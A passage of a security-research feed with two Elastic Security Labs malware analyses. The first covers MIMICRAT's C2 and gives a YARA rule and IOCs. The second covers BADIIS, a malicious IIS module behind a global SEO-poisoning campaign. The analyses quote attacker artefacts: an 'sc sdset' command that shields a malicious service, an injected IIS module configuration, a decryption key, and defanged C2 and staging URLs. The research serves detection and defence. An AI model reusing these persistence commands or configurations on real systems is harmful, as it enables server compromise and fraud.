<code>d15mawx0xveem1.cloudfront[.]net</code> is confirmed as part of <strong>MIMICRAT</strong>'s C2 infrastructure. VT relations for the <code>rgen.zip</code> sample show it contacting this CloudFront domain using the same <code>/intake/organizations/events?channel=app</code> URI pattern identified in <strong>MIMICRAT</strong>'s GET profile, confirming it acts as a C2 relay fronting for the backend server.</p>
<p><strong>Delivery Infrastructure</strong></p>
<p>Two compromised legitimate websites form the delivery chain:</p>
<ul>
<li><code>bincheck.io</code> — victim-facing entry point; compromised to load the external malicious script</li>
<li><code>investonline.in</code> — hosts the ClickFix JavaScript payload (<code>/js/jq.php</code>) disguised as jQuery; this script renders the lure and delivers the clipboard PowerShell</li>
</ul>
<h2>Malware and MITRE ATT&amp;CK**</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/003/">Phishing: Spearphishing via Service (ClickFix clipboard)</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/001/">User Execution: Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/010/">Obfuscated Files or Information: Command Obfuscation</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools (AMSI bypass)</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/002/">Impair Defenses: Disable Windows Event Logging (ETW patch)</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading / In-Memory Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/">Scheduled Task/Job</a></li>
<li><a href="https://attack.mitre.org/techniques/T1134/001/">Access Token Manipulation: Token Impersonation/Theft</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols (HTTPS)</a></li>
<li><a href="https://attack.mitre.org/techniques/T1090/">Proxy</a></li>
</ul>
<h2>Mitigations</h2>
<h3>Detection</h3>
<p>The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_execution_via_obfuscated_powershell_script.toml">Execution via Obfuscated PowerShell Script</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_dns_query_to_suspicious_top_level_domain.toml">DNS Query to Suspicious Top Level Domain</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_command_shell_execution_via_windows_run.toml">Suspicious Command Shell Execution via Windows Run</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_potential_privilege_escalation_via_token_impersonation.toml">Token theft and impersonation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_potential_privilege_escalation_via_token_impersonation.toml">Potential Privilege Escalation via Token Impersonation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a></li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the MimicRat:</p>
<pre><code>rule Windows_Trojan_MimicRat {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2026-02-13&quot;
        last_modified = &quot;2026-02-13&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;MimicRat&quot;
        threat_name = &quot;Windows.Trojan.MimicRat&quot;
        reference_sample = &quot;a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b&quot;
        scan_type = &quot;File, Memory&quot;
        severity = 100

    strings:
        $b_0 = { 41 8B 56 18 49 8B 4E 10 41 89 46 08 }
        $b_1 = { 41 FF C0 48 FF C1 48 83 C2 4C 49 3B CA }
    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>bcc7a0e53ebc62c77b7b6e3585166bfd7164f65a8115e7c8bda568279ab4f6f1</code></td>
<td>SHA-256</td>
<td></td>
<td>Stage 1 PowerShell payload</td>
</tr>
<tr>
<td><code>5e0a30d8d91d5fd46da73f3e6555936233d870ac789ca7dd64c9d3cc74719f51</code></td>
<td>SHA-256</td>
<td></td>
<td>Lua loader</td>
</tr>
<tr>
<td><code>a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b</code></td>
<td>SHA-256</td>
<td></td>
<td>MIMICRAT beacon</td>
</tr>
<tr>
<td><code>055336daf2ac9d5bbc329fd52bb539085d00e2302fa75a0c7e9d52f540b28beb</code></td>
<td>SHA-256</td>
<td></td>
<td>Related beacon sample</td>
</tr>
<tr>
<td><code>45.13.212.251</code></td>
<td>IP</td>
<td></td>
<td>Payload delivery infrastructure</td>
</tr>
<tr>
<td><code>45.13.212.250</code></td>
<td>IP</td>
<td></td>
<td>Payload delivery infrastructure</td>
</tr>
<tr>
<td><code>23.227.202.114</code></td>
<td>IP</td>
<td></td>
<td>Post-exploitation C2</td>
</tr>
<tr>
<td><code>xmri.network</code></td>
<td>Domain</td>
<td></td>
<td>Stage 1 C2 / payload delivery</td>
</tr>
<tr>
<td><code>wexmri.cc</code></td>
<td>Domain</td>
<td></td>
<td>Stage 1 C2 alternate</td>
</tr>
<tr>
<td><code>www.ndibstersoft[.]com</code></td>
<td>Domain</td>
<td></td>
<td>Post-exploitation C2</td>
</tr>
<tr>
<td><code>d15mawx0xveem1.cloudfront[.]net</code></td>
<td>Domain</td>
<td></td>
<td>Post-exploitation C2</td>
</tr>
<tr>
<td><code>www.investonline.in/js/jq.php</code></td>
<td>URL</td>
<td></td>
<td>Malicious JS payload host (compromised)</td>
</tr>
<tr>
<td><code>backupdailyawss.s3.us-east-1.amazonaws[.]com/rgen.zip</code></td>
<td>URL</td>
<td></td>
<td>Payload delivery</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/photo-edited-01.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[BADIIS to the Bone: New Insights to a Global SEO Poisoning Campaign]]></title>
            <link>https://www.elastic.co/pt/security-labs/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign</link>
            <guid>badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign</guid>
            <pubDate>Wed, 11 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[In November 2025, Elastic Security Labs observed an intrusion affecting a multinational organization based in Southeast Asia. During the analysis of this activity, our team observed various post-compromise techniques and tooling used to deploy BADIIS malware onto a Windows web server consistent with other industry publications.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In November 2025, Elastic Security Labs observed an intrusion affecting a multinational organization based in Southeast Asia. During the analysis of this activity, our team observed various post-compromise techniques and tooling used to deploy BADIIS malware onto a Windows web server.  These observations align with previous reporting from <a href="https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud/">Cisco Talos</a> and <a href="https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html">Trend Micro</a> from last year.</p>
<p>This threat group has amassed more victims and is coordinating a large-scale SEO poisoning operation from countries across the globe. Our visibility into the campaign indicates a complex, geotargeted infrastructure designed to monetize compromised servers by redirecting users to a broad network of illicit websites such as online gambling platforms and cryptocurrency schemes.</p>
<h3>Key takeaways</h3>
<ul>
<li>Elastic Security Labs observes large-scale SEO poisoning campaigns targeting IIS servers with BADIIS malware globally, impacting over 1,800 Windows servers</li>
<li>Compromised servers are monetized through a web of infrastructure used to target users with gambling advertisements and other illicit websites</li>
<li>Victim infrastructure includes governments, various corporate organizations, and educational institutions from Australia, Bangladesh, Brazil, China, India, Japan, Korea, Lithuania, Nepal, and Vietnam</li>
<li>This activity corresponds with the threat group, UAT-8099, identified by Cisco Talos last October, and is consistent with prior reporting from Trend Micro</li>
</ul>
<h2>Campaign Overview</h2>
<p>REF4033 is a Chinese-speaking cybercrime group responsible for a massive, coordinated SEO poisoning campaign that has compromised more than 1,800 Windows web servers worldwide using a malicious IIS module called BADIIS.</p>
<p>The campaign operates through a two-phase process:</p>
<ul>
<li>First, it serves keyword-stuffed HTML to search engine crawlers to poison search results, and</li>
<li>Next, it redirects victims to a sprawling &quot;vice economy&quot; of illicit gambling platforms, pornography, and sophisticated cryptocurrency phishing sites, such as a fraudulent clone of the Upbit exchange.</li>
</ul>
<p>By deploying the BADIIS malware, a malicious IIS module that integrates directly into a web server's request processing pipeline, the group hijacks the web servers for legitimate government, educational, and corporate domains. This high-reputation infrastructure is used to manipulate search engine rankings, thereby allowing attackers to intercept web traffic and facilitate widespread financial fraud.</p>
<h2>Intrusion activity</h2>
<p>In November 2025, Elastic Security Labs observed post-compromise activity from a Windows IIS server from an unknown attack vector. This threat actor moved quickly, progressing from initial access to IIS module deployment in less than 17 minutes. The initial enumeration was performed via a webshell running under the IIS worker process (<code>w3wp.exe</code>). The attacker conducted initial discovery and then created a new user account.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image9.png" alt="REF4033 execution flow" /></p>
<p>Shortly after the account was created and added to the Administrators group, <a href="https://www.elastic.co/pt/security">Elastic Defend</a> generated several alerts related to a newly created Windows service, <code>WalletServiceInfo</code>. The service loaded an unsigned ServiceDLL  (<code>C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.dll</code>)  and subsequently executed direct syscalls from the module.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image18.png" alt="Suspicious Windows Service DLL Creation Alert" /></p>
<p>Next, we saw the threat actor harden their access by using a program called <a href="https://www.d99net.net/">D-Shield Firewall</a>. This software provides additional security features for IIS servers, including preventive protections and capabilities to add network restrictions. To proceed with the investigation, we used the observed imphash (<code>1e4b23eee1b96b0cc705da1e7fb9e2f3</code>) of the loader (<code>C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.exe</code>) to obtain a loader <a href="https://www.virustotal.com/gui/file/055bdcaa0b69a1e205c931547ef863531e9fdfdaac93aaea29fb701c7b468294">sample</a> from VirusTotal for our analysis.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image14.png" alt="CbsMsgApi - imphash" /></p>
<p>To collect a sample of the malicious DLL used by this loader, we performed a VirusTotal <a href="https://www.virustotal.com/gui/search/name%253ACbsMsgApi%252Edll?type=files">search</a> on the name (<code>CbsMsgApi.dll</code>). We found 7 samples submitted using the same filename. The group behind this appears to have been using a similar codebase since September 2024. Most of these samples employ <a href="https://vmpsoft.com/">VMProtect</a>, a commercial code-obfuscation framework, to hinder static and dynamic analysis. Fortunately, we used an older, non-protected <a href="https://www.virustotal.com/gui/file/2340f152e8cb4cc7d5d15f384517d756a098283aef239f8cbfe3d91f8722800a">sample</a> to gain additional insight into this attack chain.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image12.png" alt="CbsMsgApi.dll sample listing in VirusTotal" /></p>
<h2>Code analysis - CbsMsgApi.exe</h2>
<p>The group employs an attack workflow that requires several files staged by the attacker to deploy the malicious IIS module. The execution chain begins with the PE executable, <code>CbsMsgApi.exe</code>. This file contains Chinese Simplified strings, including the PDB string (<code>C:\Users\Administrator\Desktop\替换配置文件\w3wpservice-svchost\x64\Release\CbsMsgApi.pdb</code>).</p>
<p>After launch, this program creates a Windows service, <code>WalletServiceinfo,</code> which configures a ServiceDLL (<code>CbsMsgApi.dll</code>) that runs under <code>svchost.exe</code>, similar to this <a href="https://www.ired.team/offensive-security/persistence/persisting-in-svchost.exe-with-a-service-dll-servicemain">persistence technique</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image26.png" alt="Console output from Cbs.exe" /></p>
<p>This newly created service focuses on stealth and anti-tampering by modifying the security descriptor of the service with the following command-line:</p>
<pre><code>sc sdset &quot;WalletServiceInfo&quot; &quot;D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)&quot;
</code></pre>
<h2>Code analysis - CbsMsgApi.dll</h2>
<p>The main component of this attack sequence is the ServiceDLL (<code>CbsMsgApi.dll</code>). The malicious DLL stages the BADIIS IIS native modules and alters the IIS configuration to load them into the request pipeline of the DefaultAppPool.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image4.png" alt="ServiceMain functionality within CbsMsgApi.dll" /></p>
<p>During this attack, the threat actor stages three files masquerading within the <code>System32\drivers</code> folder:</p>
<ul>
<li><code>C:\Windows\System32\drivers\WUDFPfprot.sys</code></li>
<li><code>C:\Windows\System32\drivers\WppRecorderpo.sys</code></li>
<li><code>C:\Windows\System32\drivers\WppRecorderrt.sys</code></li>
</ul>
<p>Two of these files (<code>WppRecorderrt.sys</code>, <code>WppRecorderpo.sys</code>) represent the malicious 32-bit / 64-bit BADIIS modules. The other file (<code>WUDFPfprot.sys</code>) represents configuration elements that will be injected into the IIS’s existing configuration. Below is an example configuration used during our analysis. Of note is the module name <code>WsmRes64</code> (more information on this DLL is detailed in the IIS Modules Analysis (<code>WsmRes32.dll</code> / <code>WsmRes64.dll</code>) section below):</p>
<pre><code>&lt;globalModules&gt;
    	&lt;add name=&quot;WsmRes64&quot; image=&quot;C:\Windows\Microsoft.NET\Framework\WsmRes64.dll&quot; preCondition=&quot;bitness64&quot; /&gt;
&lt;/globalModules&gt;
&lt;modules&gt;
    &lt;add name=&quot;WsmRes64&quot; preCondition=&quot;bitness64&quot; /&gt;
&lt;/modules&gt;
</code></pre>
<p>The malware uses the <code>CopyFileA</code> function to move the contents from the masqueraded files into the .NET directory (<code>C:\Windows\Microsoft.NET\Framework</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image7.png" alt="Copying the IIS module into the .NET Framework directory" /></p>
<p>Next, the malware parses the <code>DefaultAppPool.config</code> file, examining each node to update the <code>&lt;globalModules&gt;</code> and <code>&lt;modules&gt;</code> nodes. The module will inject configuration content from the previously masqueraded file (<code>WUDFPfprot.sys</code>), updating the IIS configuration via a series of append operations.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image8.png" alt="Procmon output showing DefaultAppPool modification" /></p>
<p>Below is an example of the newly added global module entry that references the BADIIS DLL.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image6.png" alt="Newly added global module" /></p>
<p>Upon successful execution, the BADIIS module is installed on the IIS server and becomes visible as a loaded module in the <code>w3wp.exe</code> worker process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image20.png" alt="WsmRes64.dll loaded under w3wp.exe" /></p>
<h2>IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll)</h2>
<p>The following section will describe the functionality of BADIIS modules. These modules facilitate the conditional injection or redirection of malicious SEO content based on criteria such as the User-Agent or Referer header value. This technique ensures that malicious content remains hidden during normal use, thereby allowing the modules to remain undetected for as long as possible.</p>
<p>Upon initialization, the module downloads content from URLs defined in its configuration. These URLs are stored in an encrypted format and decrypted using the <code>SM4 algorithm</code> (a Chinese national standard block cipher) in ECB mode with the key “<code>1111111122222222”</code>. In older samples, the AES-128 ECB algorithm was used instead.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image3.png" alt="Configuration decryption function" /></p>
<p>Each URL in the configuration points to a static <code>.txt</code> file that contains a second-stage resource. The list below details these source files and their specific roles:</p>
<table>
<thead>
<tr>
<th align="left">Example configuration URL</th>
<th align="left">File Name</th>
<th align="left">Content Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmlip.txt</code></td>
<td align="left"><code>*fmlip.txt</code></td>
<td align="left">Contains a URL pointing to a fake CSS file, <code>google.css</code>, that lists subnets used for filtering requests.</td>
</tr>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmltz.txt</code></td>
<td align="left"><code>*fmltz.txt</code></td>
<td align="left">Contains a link to the target URL used for user redirections.</td>
</tr>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmllj.txt</code></td>
<td align="left"><code>*fmllj.txt</code></td>
<td align="left">Contains a link to the malicious SEO backlinks intended for injection.</td>
</tr>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmldz.txt</code></td>
<td align="left"><code>*fmldz.txt</code></td>
<td align="left">Contains the link to the SEO content generator.</td>
</tr>
</tbody>
</table>
<p>These URLs point to region-specific files, prefixed with the corresponding country code. While the examples above focus on Korea (<code>hxxp://kr.domain.com</code>), equivalent files exist for other regions, such as Vietnam (VN), where filenames are prefixed with <code>&quot;vn&quot;</code> rather than &quot;<code>kr&quot;</code>(<code>hxxp://vn.domain.com</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image3.png" alt="Decrypted configuration URL using the SM4 algorithm" /></p>
<p>The BADIIS module registers within the request processing pipeline, positioning itself as both the first and the last handler. For each request, the module verifies specific properties and selects an injection or redirection strategy based on the results. We have three types of injection:</p>
<table>
<thead>
<tr>
<th align="left">Source</th>
<th align="left">Injection Method</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>*fmltz.txt</code></td>
<td align="left">Full page replacement</td>
<td align="left">HTML loader with progress bar + auto-redirect + Google Analytics tracking</td>
</tr>
<tr>
<td align="left"><code>*fmldz.txt</code></td>
<td align="left">Full page replacement</td>
<td align="left">Direct link to SEO content, built with <code>index.php?domain=&lt;host&gt;&amp;uri=&lt;original_link&gt;</code></td>
</tr>
<tr>
<td align="left"><code>*fmllj.txt</code></td>
<td align="left">Inline injection</td>
<td align="left">SEO backlinks injected after <code>&lt;body&gt;</code> or <code>&lt;html&gt;</code> tag in existing response</td>
</tr>
</tbody>
</table>
<p>To distinguish between bot and human traffic, the module checks against the following list of Referers and User-Agents.</p>
<p><strong>Referers</strong>: <code>bing</code>, <code>google</code>, <code>naver</code>, <code>daum</code><br />
<strong>User agents</strong>: <code>bingbot</code>, <code>Googlebot</code>, <code>Yeti</code>, <code>Daum</code></p>
<p>The default injection strategy targets search engine crawlers accessing a legitimate page on the compromised site.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image19.png" alt="Download and injection of SEO backlinks" /></p>
<p>In this scenario, the SEO backlinks are retrieved from the secondary link and injected into the page to be crawled by search engine bots. The downloaded backlinks that are injected into the infected page primarily target other local pages within the domain, whereas the remainder point to pages on other infected domains. This is a key aspect of the link-farming strategy, which involves creating large networks of sites that link to one another and manipulate search rankings.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image22.png" alt="Inlined SEO backlinks on the infected page" /></p>
<p>The local pages linked by the backlinks do not exist on the infected domain, so visiting them results in a 404 error. However, when the request is intercepted, the malware checks two conditions: whether the status code is not 200 or 3xx, and whether the browser's User-Agent matches a crawler bot. If so, it downloads content from an SEO page hosted on its infrastructure (via a link in the <code>*fmldz.txt</code> file from its configuration URL) and returns a 200 response code to the bot. This target URL is built using 'domain' and 'uri' parameters that contain the infected domain name and the resource the crawler originally attempted to access.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image1.png" alt="404 page replacement strategy with User-Agent" /></p>
<p>Finally, if a user requests a page that does not exist and arrives with a Referer header value listed by the malware, the page is replaced by a third type of content: a landing page with a loading bar. This page uses JavaScript to redirect the user to the link contained in the <code>*fmltz.txt</code> file, which is obtained via its configuration link.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image23.png" alt="404 landing/redirection page with Referer" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image5.png" alt="404 redirection target with Referer" /></p>
<p>Optionally, if enabled, the request is executed only when the User-Agent matches a mobile phone, ensuring the server targets mobile users exclusively.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image17.png" alt="Requests are optionally filtered on server IP and mobile’s User-Agents" /></p>
<p>The list of mobile User-Agents is listed below:</p>
<p><strong>Devices:</strong> <code>iPhone</code>, <code>iPad</code>, <code>iPod</code>, <code>iOS</code>, <code>Android</code>, <code>uc (UC Browser)</code>, <code>BlackBerry</code>, <code>HUAWEI</code></p>
<p>If the option is enabled and the infected server's IP address matches the subnet list in the <code>google.css</code> file downloaded from the <code>*fmlip.txt</code> file, the server serves the standard SEO content instead of the landing/redirection page.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image21.png" alt="Subnet filter list" /></p>
<p>The landing page includes JavaScript code containing an analytics tag—either Google Analytics or Baidu Tongji, depending on the target region—to monitor redirections. While the exact reason for using server IP filtering to restrict traffic remains unclear, we speculate that it is linked to these analytics and implemented for SEO purposes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image24.png" alt="Google Analytics in landing pages" /></p>
<p>We identified the following Google tags across the campaign:</p>
<ul>
<li><code>G-2FK43E86ZM</code></li>
<li><code>G-R0KHSLRZ7N</code></li>
</ul>
<p>As well as a Baidu Tongji tag:</p>
<ul>
<li><code>B59ff1638e92ab1127b7bc76c7922245</code></li>
</ul>
<h2>Campaign Analysis</h2>
<p>Based on similarity in URL patterns (<code>&lt;country_code&gt;fml__.txt</code>, <code>&lt;country_code&gt;fml/index.php</code>), we discovered an older campaign dating back to mid-2023 that was using the following domains as the configuration server.</p>
<ul>
<li><code>tz123[.]app</code></li>
<li><code>tz789[.]app</code></li>
</ul>
<p><code>tz123[.]app</code> was disclosed in a Trend Micro BADIIS <a href="https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html">campaign summary</a> <a href="https://documents.trendmicro.com/assets/txt/badiis-IOCspbJhGdi.txt">IOC list</a>, published in 2024 . Based on the first submission dates on VT for samples named <code>ul_cache.dll</code> and communicating with <code>hxxp://tz789[.]app/brfmljs[.]txt</code>, some are also submitted under the filename <code>WsmRes64.dll</code>. This naming convention is consistent with the BADIIS loader component analyzed in the prior section. The earliest <a href="https://www.virustotal.com/gui/file/ec5a69bc62e66a2677ab91da16c247b780d109baa24c46b4b99233768455f558">sample</a> we discovered on VT was first submitted on 2023-12-12.</p>
<p>For REF4033, the infrastructure is split between two primary configuration servers.</p>
<ul>
<li>Recent campaigns (<code>gotz003[.]com</code>): Currently serves as the primary configuration hub. Further analysis has identified 5 active subdomains categorized by country codes:
<ul>
<li><code>kr.gotz003[.]com</code> (South Korea)</li>
<li><code>vn.gotz003[.]com</code> (Vietnam)</li>
<li><code>cn.gotz003[.]com</code> (China)</li>
<li><code>cnse.gotz003[.]com</code> (China)</li>
<li><code>bd.gotz003[.]com</code> (Bangladesh)</li>
</ul>
</li>
<li>Legacy infrastructure (<code>jbtz003[.]com</code>): Used in older campaign iterations, though several subdomains remain operational:</li>
<li><code>br.jbtz003[.]com</code> (Brazil)</li>
<li><code>vn.jbtz003[.]com</code> (Vietnam)</li>
<li><code>vnbtc.jbtz003[.]com</code> (Vietnam)</li>
<li><code>in.jbtz003[.]com</code> (India)</li>
<li><code>cn.jbtz003[.]com</code> (China)</li>
<li><code>jp.jbtz003[.]com</code> (Japan)</li>
<li><code>pk.jbtz003[.]com</code> (Pakistan)</li>
</ul>
<p>At its core, the recent campaign monetizes compromised servers by redirecting users to a vast network of illicit websites. The campaign is heavily invested in the vice economy, targeting Asian audiences, such as unregulated online casinos, pornography streaming, and explicit advertisements for prostitution services.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image10.png" alt="Redirected sites for users" /></p>
<p>It also poses a direct financial threat. One example was a fraudulent cryptocurrency staking platform hosted at <code>uupbit[.]top</code>, impersonating Upbit, South Korea’s largest cryptocurrency exchange.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image11.png" alt="www.uupbit[.]top - from urlscan.io" /></p>
<p>The campaign’s targeting logic largely mirrors the compromised infrastructure's geography, establishing a correlation between the server’s location and the user’s redirection target. For instance, compromised servers in China funnel traffic to local gambling sites, while those in South Korea redirect to the fraudulent Upbit phishing site. The exception to this pattern involved compromised infrastructure in Bangladesh, which the actors configured HTTP redirects to point to non-local, Vietnamese gambling sites.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image16.png" alt="User redirection link - infected servers located in Bangladesh" /></p>
<p>We have observed several different redirection loading pages throughout the clusters. Below is an example of the user redirection template for a <a href="https://www.virustotal.com/gui/file/1f9e694cac70d089f549d7adf91513f0f7e1d4ef212979aad67a5aea10c6d016">sample</a> targeting VN victim infrastructure. This template uses a Google tag and is very similar to one of the templates described in Cisco Talos’ <a href="https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud/">UAT-8099 research</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image13.png" alt="Redirection template 1" /></p>
<p>A more consistent template observed across the victim clusters is shown in the snippet below, particularly the progress bar logic. Since the <a href="https://www.virustotal.com/gui/file/c5abe6936fe111bbded1757a90c934a9e18d849edd70e56a451c1547688ff96f/detection">sample</a> targets CN victim infrastructure, Baidu Tongji is used for tracking victim redirection.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image15.png" alt="Redirection template 2" /></p>
<p>We discovered several clusters (some with overlaps) of compromised servers from URLs containing backlinks in the following list:</p>
<ul>
<li><code>http://kr.gotz001[.]com/lunlian/index.php</code></li>
<li><code>http://se.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn404.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cnse.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn.gotz001[.]com/lunlian/indexgov.php</code></li>
<li><code>https://vn404.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://vn.gotz001[.]com/lunlian/index.php</code></li>
<li><code>http://bd.gotz001[.]com/lunlian/index.php</code></li>
<li><code>http://vn.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://vnse.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://vnbtc.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://in.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://br.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn.jbtz001[.]com/lunlian/index.php</code></li>
